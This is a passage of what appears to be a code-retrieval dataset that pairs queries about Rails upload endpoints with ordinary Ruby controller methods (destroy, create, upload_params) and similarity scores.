\"\n end\n end", "def create\n @upload = current_user.uploads.build(upload_params)\n if @upload.save \n flash[:notice] = \"Successfully uploaded the file.\"\n if @upload.folder #checking if we have a parent folder for this file \n redirect_to browse_path(@upload.folder) #then we redirect to the parent folder \n else\n redirect_to root_url \n end \n else\n render 'new'\n end\n end", "def create\n @user = User.find(session[:user_id])\n @post = @user.posts.new(post_params)\n\n respond_to do |format|\n if @post.save\n params[:images]['filename'].each do |a|\n @image = @post.images.create!(:filename => a)\n end\n format.html { redirect_to @post, notice: 'A new sound image was created.' }\n else\n format.html { render action: 'new' }\n end\n end\n end", "def create\n \n @admin_section = true\n @user_asset = UserAsset.new(params[:user_asset])\n\n respond_to do |format|\n if @user_asset.save\n format.html { redirect_to(@user_asset, :notice => 'File(s) were successfully uploaded.') }\n format.xml { render :xml => @user_asset, :status => :created, :location => @user_asset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_asset.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.6854255", "0.68072104", "0.67978126", "0.6712927", "0.66030765", "0.65874016", "0.65626276", "0.65153074", "0.6510397", "0.65059996", "0.64965415", "0.64402765", "0.63979477", "0.6385475", "0.63621604", "0.6350831", "0.6311413", "0.62960654", "0.6290963", "0.6235186", "0.61894333", "0.6180544", "0.6150529", "0.6141393", "0.61403626", "0.60988826", "0.60939753", "0.6088983", "0.6080915", "0.605913", "0.603848", "0.60375696", "0.60203636", "0.5995324", "0.59929967", "0.5983248", "0.59590334", "0.595747", "0.59337354", "0.59232175", "0.5922661", "0.590294", "0.5901923", "0.5900953", "0.58913887", "0.5860722", "0.5852684", "0.58200634", "0.5818257", "0.5804992", "0.5803178", "0.5790514", "0.57848084", "0.57741976", "0.5764538", "0.5762566", "0.57521886", "0.57487214", "0.5738766", "0.5727228", "0.5725899", "0.57199544", "0.57062024", "0.57014495", "0.56848437", "0.5673984", "0.5652891", "0.5649021", "0.5647752", "0.56460726", "0.5642354", "0.56382287", "0.56379896", "0.5634652", "0.5632203", "0.56305206", "0.5629234", "0.5626834", "0.56260324", "0.5624605", "0.56205374", "0.56128037", "0.5607217", "0.5606764", "0.56033295", "0.5600229", "0.5597781", "0.5591762", "0.55883646", "0.5585464", "0.55687547", "0.55649513", "0.5559236", "0.55543226", "0.5538966", "0.55370677", "0.5533609", "0.55314076", "0.5530312", "0.55274165" ]
0.7407673
0
DELETE /users/:user_id/uploads/:id Deletes the given user upload.
def destroy @upload = @user.uploads.find(params[:id]) authorize @upload @upload.destroy redirect_to user_uploads_path(@user) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @file_upload=@user.file_uploads.find(params[:id])\n @file_upload.destroy\n respond_to do |format|\n format.html { redirect_to user_file_uploads_path, notice: 'File was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @upload = Upload.find(params[:id])\n @upload.destroy\n\n respond_to do |format|\n format.html { redirect_to user_uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @userfile = Userfile.find(params[:id])\n @userfile.destroy\n\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end", "def delete_upload_request(upload_id)\n call(:delete, upload_path(\"#{upload_id}/\"))\n end", "def destroy\n @file = UserUpload.find(params[:id])\n if @file\n \t@file.destroy\n end\n # Render nothing to denote success\n render :text => \"\" and return\n end", "def destroy\n @user= User.find(params[:user_id])\n @user_image.destroy\n flash[:notice] = 'Your photo was successfully deleted.'\n redirect_to user_path(@user)\n end", "def destroy\n @upload = Upload.find(params[:id])\n\tif File.exists?(Rails.root.join('..', 'uploads', @upload.file_name))\n\t\tFile.delete(Rails.root.join('..', 'uploads', @upload.file_name))\t\n\tend\n @upload.destroy\n\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\n # Deleting a file that is on the filsystem\n # if @user.filename\n # filename = Rails.root.join('public', 'uploads', @user.filename)\n # File.delete(filename) if File.exist?(filename)\n # end\n \n # Deleting image using Paperclip\n @user.avatar = nil\n \n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_user(user_id)\n raise Auth0::MissingUserId, 'Must supply a valid user_id' if user_id.to_s.empty?\n path = \"#{users_path}/#{user_id}\"\n delete(path)\n end", "def destroy\n \n @user_file = UserFile.find(params[:id])\n authorize! :destroy, @user_file\n name=@user_file.uploaded_file_file_name\n @user_file.destroy\n\n respond_to do |format|\n format.html { redirect_to :back,:notice=>\"Deleted file: \"+name }\n format.json { head :ok }\n end\n end", "def destroy\n @upload = @upload = Upload.find_by(id: params[:id], user_id: current_or_guest_user.id)\n @file = ActiveStorage::Attachment.find(params[:file])\n @file&.purge\n @upload.destroy unless @upload.files.present?\n flash[:success] = 'File Deleted Successful!'\n redirect_to root_path\n rescue StandardError => error\n flash[:danger] = 'File Does Not Exist!'\n flash[:error] = error.message\n redirect_to root_path\n end", "def delete_file(uid, info = {})\n if info[\"multipart_id\"]\n multipart_upload = object(uid).multipart_upload(info[\"multipart_id\"])\n abort_multipart_upload(multipart_upload)\n\n delete [object(\"#{uid}.info\")]\n else\n delete [object(uid), object(\"#{uid}.info\")]\n end\n end", "def delete(user_id)\n self.class.delete(\"/#{@api_ver}/users/#{user_id}\", default_options_to_merge_with)\n end", "def destroy\n @user_file.destroy\n respond_to do |format|\n format.html { redirect_to user_files_url, notice: \"User file was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @upload = Upload.find(params[:id])\n @upload.destroy\n\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @upload = Upload.find(params[:id])\n @upload.destroy\n\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if !user_signed_in?\n redirect_to :root\n else\n if current_user.user?\n redirect_to :root\n end\n end\n @fileupload.destroy\n respond_to do |format|\n format.html { redirect_to fileuploads_url, notice: 'Fileupload was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n if(current_user)\n\tuser_id = current_user.id\n\n\tid = params['file_id']\n\t\tsubmission = FileSubmission.find_by_id(id)\n\tif(submission)\n\t\tlogger = Logger.new(\"log/uploads.log\")\n\t\tlogger.info \"#{Time.now}:: #{current_user.friendly_full_name} (ID# #{current_user.id}) has attempted to delete #{submission.name}.\"\n\n\t\tif(submission && submission.user_can_delete(user_id))\n\t\t\tfaculty_id = Course.find(Assignment.find(submission.assignment_id).course_id).user_id\n\n\t\t\tFile.delete(submission.full_save_path)\n\t\t\tFileSubmission.destroy(id)\n\t\t\tflash[:notice] = \"File removed successfully.\"\n\t\t\tlogger.info \"Delete permitted.\"\n\t\telse\n\t\t\tflash[:error] = \"You do not have permission to do that.\"\n\t\t\tlogger.info \"Request denied.\"\n\t\tend\n\t\tredirect_to assignment_view_path(submission.assignment_id)\n\telse\n\t\tflash[:error] = \"File does not exist\"\n\t\tredirect_to root_path\n\tend\n\n else\n flash[:error] = 'You do not have permission to delete this item. Please login.'\n redirect_to root_path\n end\n end", "def destroy\n @upload = Upload.find(params[:id])\n @upload.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_uploads_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @userfile.destroy\n respond_to do |format|\n format.html { redirect_to userfiles_url, notice: 'Userfile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(user_id:)\n path = '/users/{userId}'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'DELETE',\n path: path,\n headers: headers,\n params: params,\n )\n end", "def destroy\n user_file = UserFile.find(params[:id])\n @user_file_id = user_file.id.to_s\n @allowed = Job::Max_Attachments - user_file.attachable.user_files.count\n user_file.destroy\n end", "def destroy\n @upload = Upload.find(params[:id])\n @upload.destroy\n\n respond_to do |format|\n format.html { redirect_to(uploads_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @upload = Upload.find(params[:id])\n @upload.destroy\n\n respond_to do |format|\n format.html { redirect_to(uploads_url) }\n format.xml { head :ok }\n end\n end", "def delete_user(user)\n delete user_path(user)\n end", "def delete(id)\n begin\n User.filter(:id => id).destroy\n flash[:success] = 'The specified user has been removed'\n rescue => e\n Ramaze::Log.error(e)\n flash[:error] = 'The specified user could not be removed'\n end\n\n redirect_referrer\n end", "def destroy\n @uploaded_file = UploadedFile.find(params[:id])\n upload = @uploaded_file.upload\n if upload.status == 1\n @uploaded_file.destroy\n else\n flash[:alert] = \"Deleting a file in an upload with status '#{upload.status_string}' is not allowed.\"\n end\n\n respond_to do |format|\n format.html { redirect_to upload_path(upload) }\n format.json { head :no_content }\n end\n end", "def delete_user(user_id:, params:)\n connection.delete(\"users/#{user_id}\", params).body\n end", "def destroy\r\n @user = User.find(params[:id])\r\n @user.delete!\r\n track_activity @user\r\n\r\n redirect_to users_path, only_path: true \r\n end", "def destroy\n @userfile.destroy\n\n fileName = Rails.root.join('public','uploads', @userfile.file_name_slug)\n File.delete(fileName) if File.exist?(fileName)\n\n respond_to do |format|\n format.html { redirect_to user_mycontact_meeting_userfiles_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n @user = User.find(params[:user_id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to @user, notice: 'The photo was successfully deleted.'}\n format.json { head :no_content }\n end\n end", "def user_delete(user_id)\n\t\tdelete_call = Curl::Easy.http_delete(\"#{@ip_address}:#{@port_2}/v2.0/users/#{user_id}\"\n\t\t) do |curl|\n\t\t\tcurl.headers['x-auth-token'] = @token\n\t\t\tcurl.headers['userId'] = user_id\n\t\tend\n\t\n\tend", "def delete(user)\n Rails.logger.debug \"Call to photo.delete\"\n if !self.file.blank?\n Util.delete_image(self.file) #Delete the image file from the image server\n end\n reqUrl = \"/api/photo/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_delete_request(reqUrl,user['email'],user['password'])#Make the DELETE request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n return true, rest_response #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n end", "def destroy\n image = Image.find(params[:id])\n if image.user_id == current_user.id\n image.destroy\n render json:{}, status:201\n end\n end", "def destroy\n @upload_file = UploadFile.find(params[:id])\n\t\tauthorize! :destroy, @upload_file\n @upload_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(upload_files_url) }\n format.xml { head :ok }\n end\n end", "def delete\n @user = User.find(params[:id])\n @user.delete\n redirect_to root_path\n end", "def destroy\n user_id = @picture.user_id\n \n @picture.destroy\n\n respond_to do |format|\n format.html { redirect_to user_pictures_url(user_id) }\n end\n end", "def delete user_id, options={}, headers={}\n @connection.delete \"users/#{user_id}.json\", options, headers\n end", "def destroy\n user = User.find(params[:id])\n user.destroy\n head :no_content\n end", "def destroy\n @file_upload = FileUpload.find(params[:id])\n @file_upload.destroy\n\n respond_to do |format|\n format.html { redirect_to(file_uploads_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @image_upload = ImageUpload.find(params[:id])\n @image_upload.destroy\n\n respond_to do |format|\n format.html { redirect_to image_uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_attachment.destroy\n respond_to do |format|\n format.html { \n flash[:notice] = 'Your image was successfully deleted.'\n redirect_to :back\n }\n format.json { head :no_content }\n end\n end", "def delete(id)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n if id.is_a? Array then\n id = id.join(',')\n end\n\n make_post_call('/files/delete?file_ids=%s' % [id]).status == \"OK\"\n end", "def destroy\n item = Item.find(params[:item_id])\n user = User.find(item[:user_id])\n if(user && user[:username] == session['username'])\n if (item.item_type == 'file')\n FileUploader.delete_file item.path\n end\n Item.delete(params[:item_id])\n end\n end", "def delete_user(id)\n get_user_byid(id).destroy\n end", "def destroy\n @image = @user.images.find(params[:id])\n @image.destroy\n flash[:notice] = \"Image has been removed.\"\n\n respond_to do |format|\n format.html { redirect_to user_images_path(@user) }\n format.xml { head :ok }\n end\n end", "def destroy\n \n @user = User.get(params[:id])\n \n\n user_dir = \"#{RAILS_ROOT}\" + \"/public/user_files/#{current_user.userid}/\"\n FileUtils.rm_rf user_dir\n \n # @mycarts = Mycart.all(:user_id => @user.id) \n # @mycarts.destroy\n\n @mytemplates = Mytemplate.all(:user_id => @user.id)\n @mytemplates.destroy\n \n @freeboards = Freeboard.all(:user_id => @user.id) \n @freeboards.destroy\n\n @myimages = Myimage.all(:user_id => @user.id) \n @myimages.destroy\n\n if @user.destroy\n redirect_to(admin_users_url) \n else\n puts \"에러 발생 ==========================================\"\n puts @user.errors\n redirect_to(admin_users_url) \n end\n \n\n end", "def destroy\n @user_image = UserImage.find(params[:id])\n @user_image.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_images_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @upload = current_user.uploads.find(params[:id]) \n @parent_folder = @upload.folder #grabbing the parent folder before deleting the record \n @upload.destroy \n flash[:notice] = \"Successfully deleted the file.\"\n \n #redirect to a relevant path depending on the parent folder \n if @parent_folder\n redirect_to browse_path(@parent_folder) \n else\n redirect_to root_url \n end\n end", "def delete_user\n if (@user = find_user(params[:id]))\n do_delete_user(@user)\n flash[:notice] = \"User '#{@user.login}' has been deleted.\"\n end\n redirect_to :action => 'list'\n end", "def DeleteUser id\n \n APICall(path: \"users/#{id}.json\",method: 'DELETE')\n \n end", "def delete_user(id)\n @user = User.destroy(id)\n end", "def delete_user_route(user)\n self.client.delete(\"gh.storage.user.#{user}\")\n end", "def delete\n @user = User.find(params[:id])\n end", "def delete\n @user = User.find(params[:id])\n end", "def destroy\n user = User.find(params[:id])\n user.destroy\n redirect_to users_path, :notice => \"User deleted.\"\n end", "def user_delete(user_id)\n res = http_delete(:uri=>\"/users/#{user_id}\", :fields=>x_cookie)\n return res.code\n end", "def destroy\n @photo.destroy\n\n redirect_to show_user_path(current_user)\n flash[:info] = 'Photo was removed'\n end", "def destroy\n @upload.destroy\n\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n head :no_content\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n head :no_content\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n head :no_content\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n head :no_content\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n head :no_content\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n head :no_content\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n head :no_content\n end", "def delete_by_id(user_id)\n Iterable.request(conf, \"/users/byUserId/#{user_id}\").delete\n end", "def destroy\n @user_photo = UserPhoto.find(params[:id])\n @user_photo.destroy\n\n respond_to do |format|\n format.html { redirect_to user_photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id]).destroy\n flash[:success] = \"User deleted!\"\n redirect_to users_url\n end", "def destroy\n @user = User.find(params[:id])\n if @user.destroy\n flash[:success] = \"User has been deleted!\"\n redirect_to users_url\n end\n end", "def destroy\r\n \r\n #eliminar foto de perfil \r\n r = Photo.where(\"#{:user_id} =?\",params[:id])\r\n #solo eliminar si posee foto de perfil \r\n if r.present?\r\n r.destroy_all\r\n end\r\n\r\n @usuario.destroy\r\n respond_to do |format|\r\n format.html { redirect_to usuarios_url, success: 'Eliminaste un usuario correctamenteed.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def delete_user(id)\n # accept an id input parameter\n # use the User Model class to remove the User associated with the `id` primary key from the database\n # (no return is required)\n (User.find_by(id: id)).destroy\n end", "def destroy\n @user = get_user(params[:id])\n begin\n @user.destroy\n flash[:notice] = \"User #{@user.login_name} deleted\"\n rescue Exception => e\n flash[:notice] = e.message\n end\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @upload_file = UploadFile.find(params[:id])\n @upload_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(upload_files_url) }\n format.xml { head :ok }\n end\n end", "def delete(id)\n file = get_file(id)\n delete_file(file) unless file.nil?\n end", "def delete(video_id)\n delete_header = authorization_headers.merge({\n \"Content-Type\" => \"application/atom+xml\",\n \"Content-Length\" => \"0\",\n })\n \n delete_url = \"/feeds/api/users/#{@user}/uploads/#{video_id}\"\n \n Net::HTTP.start(base_url) do |session|\n response = session.delete(delete_url, '', delete_header)\n raise_on_faulty_response(response)\n return true\n end\n end", "def delete_user\n client.delete(user)\n end", "def destroy\n @user = User.shod(params[:id])\n authorize! :delete, @user\n @user.destroy\n flash[:user_delete] = t('user_delete')\n redirect_to users_path\n end", "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n redirect_to users_path, :notice => 'User was successfully deleted.'\n end", "def destroy\n @photo = Photo.find(params[:id])\n if @photo.user_id != @current_user.id\n render_404\n end\n @photo.destroy\n\n redirect_to(photos_url)\n end", "def destroy\n @upload = Upload.find(params[:id])\n publication_id = @upload.publication_id\n publication_uploads_url = \"/publications/#{publication_id}/uploads\"\n @upload.destroy\n respond_to do |format|\n format.html { redirect_to publication_uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n if params[:user]\n redirect_to user_path(params[:user])\n else\n redirect_to alum_path(@photo.alum)\n end\n flash[:success] = \"Photo was successfully deleted.\"\n end", "def destroy\n @upload.destroy\n respond_to do |format|\n format.html { redirect_to uploads_url, notice: 'Upload was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @upload.destroy\n respond_to do |format|\n format.html { redirect_to uploads_url, notice: 'Upload was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @upload.destroy\n respond_to do |format|\n format.html { redirect_to uploads_url, notice: 'Upload was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n begin\n @user.delete\n flash[:notice] = \"User #{@user.fullname} deleted\"\n rescue Exception => e\n flash[:notice] = e.message\n end\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find_by_id(params[:id])\n @user.destroy\n end", "def destroy\n @user = User.find(params[:user_id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n user = User.find(params[:id])\n\tuser.destroy\n\tflash[:success] = \"User #{user.name} was deleted\"\n\tredirect_to users_url\n end", "def destroy\n @csv_upload = CsvUpload.find(params[:id])\n @csv_upload.destroy\n\n respond_to do |format|\n format.html { redirect_to csv_uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = UserAsset.where(:id=>params[:id]).first.user_id\n @user_asset = UserAsset.where(:id=>params[:id]).first\n @user_asset.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_path(@user.to_param)<<\"#tabs-4\") }\n format.js { }\n format.xml { head :ok }\n end\n end", "def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted.\"\n redirect_to users_url\n end", "def delete_user(id)\n\n db = connect_to_db(\"db/db.db\")\n\n db.execute(\"DELETE FROM posts WHERE user_id = ?\", id)\n \n db.execute(\"DELETE FROM users WHERE id = ?\", id)\n\n end", "def delete(uploaded_file, context = {})\n _delete(uploaded_file, context)\n uploaded_file\n end", "def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted\"\n redirect_to root_url\n end", "def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted.\"\n redirect_to root_path\n end", "def destroy\n @up_file = UpFile.find(params[:id])\n @up_file.destroy\n\n respond_to do |format|\n format.html { redirect_to up_files_url }\n format.json { head :no_content }\n end\n end", "def destroy\n \tuser = User.find params[:id]\n \tuser.destroy\n\n \tredirect_to users_path, status: 303\n end", "def destroy\n @file_upload.destroy\n respond_to do |format|\n format.html { redirect_to file_uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:id])\n @user.deleted = true\n if @user.save\n redirect_to(users_path, :alert => 'User deleted successfully.')\n end\n end" ]
[ "0.7641387", "0.7635752", "0.76138973", "0.73477024", "0.7314545", "0.7190245", "0.7156397", "0.7029481", "0.702683", "0.69799244", "0.68886316", "0.68665975", "0.6859507", "0.685198", "0.68346083", "0.68346083", "0.6814951", "0.6813265", "0.6793797", "0.6789968", "0.6758627", "0.6740173", "0.6722381", "0.6722381", "0.6713059", "0.6709041", "0.6695568", "0.6681842", "0.66624445", "0.6651771", "0.6634765", "0.6622559", "0.6616634", "0.6606407", "0.6601303", "0.65994436", "0.65943664", "0.6571406", "0.65672106", "0.6557575", "0.6555818", "0.655464", "0.6548398", "0.6528851", "0.6520974", "0.65065897", "0.65021807", "0.6473904", "0.6456239", "0.64535165", "0.6450607", "0.64417464", "0.64339936", "0.6428167", "0.6428167", "0.6424554", "0.64244246", "0.6420529", "0.6412677", "0.6411825", "0.6411825", "0.6411825", "0.6411825", "0.6411825", "0.6411825", "0.6411825", "0.6403975", "0.6389555", "0.63837075", "0.63689137", "0.635668", "0.63550216", "0.6351813", "0.6348886", "0.6347896", "0.634102", "0.63372564", "0.6322247", "0.63187283", "0.6318256", "0.6316597", "0.6311971", "0.63103986", "0.63103986", "0.63103986", "0.630463", "0.6303748", "0.63030255", "0.6302482", "0.6297123", "0.6295585", "0.629429", "0.629203", "0.6285478", "0.6285349", "0.62840915", "0.62805736", "0.62787247", "0.62739813", "0.6270835" ]
0.79707444
0
upload_params: > Hash Permits the upload fields for assignment.
def upload_params permit = policy(@upload || Upload).permitted_attributes params.require(:upload).permit(*permit) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def upload_params\n params.require(:upload).permit(:name, :category, :information, :course_id, :assignment_id)\n end", "def upload_params\n params.require(:upload).permit(:upload)\n end", "def upload_params\n params.require(:upload).permit(:title, :upload, :user_id)\n end", "def upload_params\n params[:upload]\n end", "def upload_params\n params[:upload]\n end", "def upload_params\n params.require(:upload).permit(:election_id, :file_type_id, :public, :file) # Not status, address or checksum.\n end", "def upload_params\n params.require(:upload_file)\n end", "def upload_params\n params.require(:upload).permit(:upload, :user_id, :folder_id)\n end", "def upload_params\n params.require(:upload).permit(:user_id, :country_id, :university_id, :image)\n end", "def upload_params\n params[:upload].permit :image\n end", "def upload_file_params\n params.require(:upload_file).permit(:title, :date_uploaded, :attachment, :vendor_id, :task_allocation_id)\n end", "def upload_params\n params.require(:upload).permit(:user_name, :user_email, :recipient_email, :message, :package)\n end", "def upload_params\n params.require(:upload).permit(:title, :file_attachment)\n end", "def upload_params\n params.require(:upload).permit(:image)\n end", "def upload_params\n params.require(:upload).permit(:filename, :key)\n end", "def parse_upload\n expected_params[:upload] ||= ParameterDeclaration.new(:upload, :upload, {})\n params[:upload]\n end", "def upload_params\n params.require(:upload).permit(:filename, :content_type, :category)\n end", "def form_params\n params.require(:upload).permit(Upload.allowable_params)\n end", "def upload_params\n params.require(:upload).permit(:name, :description)\n end", "def upload_params\nparams[:upload].permit(:uploaded_file)\nend", "def ride_upload_params\n params.require(:ride_upload).permit(:user_id, :ride_zone_id, :name, :description, :csv, :status, :csv_hash)\n end", "def upload_params\n params.require(:upload).permit(:uploaded_file, :user_id, :folder_id,:label)\n end", "def upload_file_params\n puts params\n params\n end", "def post_upload_params\n params.require(:upload).permit(:name)\n end", "def post_upload_params\n params.require(:upload).permit(:name)\n end", "def file_upload_params\n params.require(:file_upload).permit(:fname, :owner, :ftype, :keywords, :attachment)\n end", "def upload_params\n params[:upload].permit(:photo)\n end", "def upload_params \n params.require(:library_upload).permit(:title, :description, :tags, :image, :file)\n end", "def user_params\n params.require(:upload).permit(:file)\n end", "def upload_params\n params.require(:upload).permit(:arquivo, :status)\n end", "def upload_params\n params.require(:upload).permit(:image, :description)\n end", "def uploaded_file_params\n params.require(:uploaded_file).permit(:file)\n end", "def video_upload_params\n params.fetch(:video_upload, {})\n end", "def upload_params\n\t params.require(:upload).permit(:document)\n\tend", "def upload_params\n params.require(:upload).permit(:url,:name,:Description, :created_at )\n end", "def uploaded_file_params\n params.require(:uploaded_file).permit(:file_name)\n end", "def upload_file_params\n params.require(:upload_file).permit(:title, :type, :path, :size)\n end", "def upload_params\n params.require(:upload).permit(:dir, :pfad, :inhalt)\nend", "def items_import_params\n # params.require(:items_import).permit(:file_name, :uploaded_by, :uploaded_at, :status)\n params.fetch(:items_import, {}).permit(:file_name, :uploaded_by, :uploaded_at, :status, :file)\n end", "def uploader_params\n params.require(:uploader).permit(:time, :content, :place)\n end", "def fileupload_params\n params.require(:fileupload).permit(:user_id, :filename, :sort, :direction)\n end", "def up_file_params\n params.require(:up_file).permit(:site_id, :catalog_item_id, :file)\n end", "def uploaded_file_params\n params.require(:uploaded_file).permit(:attachment, :lecture, :link, :link_name, :filename)\n end", "def attachment_params\n params.permit(:file, :organization_id, :person_id, :career_id, :deal_id, :activity_id)\n end", "def uploadphoto_params\n params.require(:uploadphoto).permit(:name, :file, :size, :content_type)\n end", "def aw_params\n params.require(:aw).permit(:file, :uploaded_file)\n end", "def assignment_params\n params.require(:assignment).permit(:name, :user_id, :homework_id, :attachment)\n end", "def file_upload_params\n params.require(:file_upload).permit(:title, file_upload_attachments_attributes: [:id, :file_upload_id, :scenario])\n end", "def processable_upload_params\n params.require(:processable_upload).permit(ProcessableUpload.allowable_params)\n end", "def upload_params\n params.require(:upload).permit(:video, :name)\n end", "def holding_params\n params.require(:holding).permit(:name,:uploaded_file)\n end", "def super_d_upload_params\n params.require(:super_d_upload).permit(:title, :body, :imgfile, :created_at)\n end", "def image_params\n #Added uploads param 7/72018 Paul Ancajima\n params.require(:image).permit(:image_title, :image_owner_id, :category_id, :licensing, :date, :description, :file_type, :location, :status_id, uploads: [])\n end", "def upload_files_params\n \tparams.require(:project).permit(:file)\n end", "def post_file_params\n params.require(:post_file).permit(:name, :item, :type, :image_dimensions,\n :remove_item, :item_cache)\n end", "def temp_resource_params\n params.fetch(:temp_resource, :uploads, {})\n end", "def csvupload_params\n params.require(:csvupload).permit(:name, :rating, :description)\n end", "def import_params\n params.require(:file)\n end", "def carrierwave_image_params\n params.require(:carrierwave_image).permit(:asset, :remove_asset, :user_name, :user_uuid,)\n end", "def post_upload_params\n params.require(:artwork).permit(:picture)\n end", "def movieupload_params\n params.require(:movieupload).permit(:name, :rating, :description)\n end", "def bucket_files_params\n params.require(:bucket_file).permit(:avatar, :user_id, :disk_id, :name, :file_name)\n end", "def import_params\n params.permit(:import_type, :file)\n end", "def asset_file_params\n params.require(:asset_file).permit(:user_id, :uploaded_file, :folder_id)\n end", "def qpaper_file_params\n params.require(:qpaper_file).permit(:user_id, :university_course_id, :uploaded_file)\n end", "def assignment_params\n params.require(:assignment).permit(:title, :description, :due_date, :course_id, :importance, assignment_attachments_attributes: [:attachment, :assignment_id])\n end", "def grid_fs_file_params\n params.require(:grid_fs_file).permit(:filename, :contentType, :author, :topic, :uploadDate, :length, :chunkSize, :md5, :contents)\n end", "def file_upload_attachment_params\n params.require(:file_upload_attachment).permit(:file_upload_id, :scenario)\n end", "def dbedt_upload_params\n params.require(:dbedt_upload).permit(:filename)\n end", "def attachment_params\n # params.fetch(:attachment)\n params.require(:attachment).permit(:name, :file_type, :data, :origin_type, :situation, :origin_id)\n end", "def file_operation_params\n params.require(:file_operation).permit(:file_path, :status, :job_class, :user_type, :user_id, :info)\n end", "def media_upload_params\n params.require(:medium).permit(:title, :description, :file)\n end", "def image_file_params\n params.require(:image_file).permit(:name, :item, :type, :image_dimensions,\n :remove_item, :item_cache)\n end", "def permitted_params\n params.require(:assetabler_external_service).permit(\n :name,\n :filename,\n :body,\n :content_type,\n :width,\n :height,\n :uploader_id\n )\n end", "def asset_params\n params.require(:asset).permit(:user_id, :upload_file, :folder_id,:level_id)\n end", "def money_arrival_file_params\n params.require(:money_arrival_file).permit(:uploaded_file)\n end", "def picture_upload_params\n params.require(:picture_upload).permit(:title, :description)\n end", "def permit_upload_image_param\n args = strong_upload_image_param\n args[:image] = params[:upload][:image]\n args\n end", "def upload_file_params\n params.require(:upload_file).permit(:zip_file_a)\n end", "def image_params\n #params.fetch(:image, [:uploaded_image])\n params.require(:image).permit(:uploaded_image, :tag_list)\n end", "def data_import_params\n params.require(:data_import).permit(:employee_file, :qualification_file, :training_file, :created_by_id)\n end", "def permitted_params\n params.require(params[:asset_type].underscore.gsub('/', '_').to_sym).permit(\n :name,\n :filename,\n :body,\n :content_type,\n :width,\n :height,\n :asset_type,\n :ratio\n )\n end", "def upload_file_to_auto_desk_params\n params.require(:upload_file_to_auto_desk).permit(:file)\n #params.require(:upload_file_to_auto_desk).permit(:filename, :content_type, :file_contents, :sync_with_auto_desk_at, :auto_desk_url)\n end", "def image_params\n params.require(:image).permit(:article_id, :user_id, :uploaded_image)\n end", "def save_params\n saveparams = project_params.clone\n uploaded_file = saveparams[:keydata]\n unless uploaded_file.nil?\n # Save only the file data\n saveparams[:keydata] = uploaded_file.read\n end\n saveparams\n end", "def structure_photo_params\n params.permit(:uuid, :base64image, :filename,:deleted_at,:structure_id)\n end", "def initialize(params = {})\n @multipart_params = []\n push_params(params)\n end", "def storage_params\n\n params.require(:storage).permit(:user, :file, :description)\n .merge(user: session[:user_id])\n end", "def 